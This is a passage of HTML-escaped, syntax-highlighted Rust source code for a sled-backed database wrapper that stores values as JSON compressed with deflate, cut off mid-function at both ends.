class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;DB&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inflate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
                &lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;serde_json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTree&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_utf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.inner&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.to_string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;pub&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.inner&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRaw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTree&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;set_raw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Serialize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Sized&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;I&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IVec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compressed_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;deflate_serialize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.inner&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.insert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;compressed_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;remove_raw&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IVec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.inner&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbGet&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTree&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TreeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeserializeOwned&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;K&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Option&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;R&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sled&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.inner&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inflate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;v&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
                &lt;span class=&quot;nf&quot;&gt;.map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;serde_json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTrait&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbReturnTrait&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbRoot&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTrait&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTree&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;impl&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbReturnTrait&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DbTree&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;inflate_deserialize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DeserializeOwned&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;T&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decompressed_data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inflate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nn&quot;&gt;serde_json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;from_slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;decompressed_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;deflate_serialize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Serialize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;Sized&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;serde_json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;to_vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;deflate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;deflate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;flate2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Compression&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;flate2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DeflateEncoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;encoder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;DeflateEncoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Compression&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;());&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;encoder&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.write_all&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;encoder&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.finish&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;inflate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;flate2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DeflateDecoder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;io&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
